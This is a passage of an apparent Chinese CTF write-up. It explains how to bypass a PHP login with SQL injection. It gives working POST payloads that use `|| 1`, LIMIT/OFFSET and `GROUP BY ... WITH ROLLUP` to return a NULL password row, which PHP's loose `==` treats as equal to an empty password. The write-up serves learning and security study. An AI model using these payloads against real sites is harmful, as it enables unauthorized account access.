if (mysql_num_rows($query) == 1)这里就过不了,说明根本没这个用户名,那么就绕过这个。
看这个post数据
uname=admin' || 1 limit 1 #&pwd=
出了 亦可赛艇! 说明成功突破第一层防线
再看这个
uname=admin' || 1 limit 1 offset 1 #&pwd=
同样 **亦可赛艇! **,这点很关键,说明里面不止一个用户,待会会用到这个。可以把offset的值改一下确认只有两个用户。
接下来就是如何绕过pwd了,其实就是一个关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息。
不妨直接贴出答案我们来分析一下:
uname=ads' || 1 group by pwd with rollup limit 1 offset 2 #&pwd=
- group by pwd 是按照pwd来分组,此处是为了搭配 with rollup使用
- with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg...),多出的那一行的pwd列只能是NULL所以到目前取出的的数据类似这样:
+-------+-------+ | uname | pwd | +-------+-------+ | usr1 | ***** | | usr2 | ***** | | usr2 | NULL | +-------+-------+
- 然后是limit 1 offset 2 就是天过前连个,只用第三个数据。
那么最终取出的数据就是这样了
+-------+-------+ | uname | pwd | +-------+-------+ | usr2 | NULL | +-------+-------+
最后看这里$key['pwd'] == $_POST['pwd']用的是 ==,根据弱类型,NULL和空字符串是相等的,这就是为何我们不给pwd穿参的原因。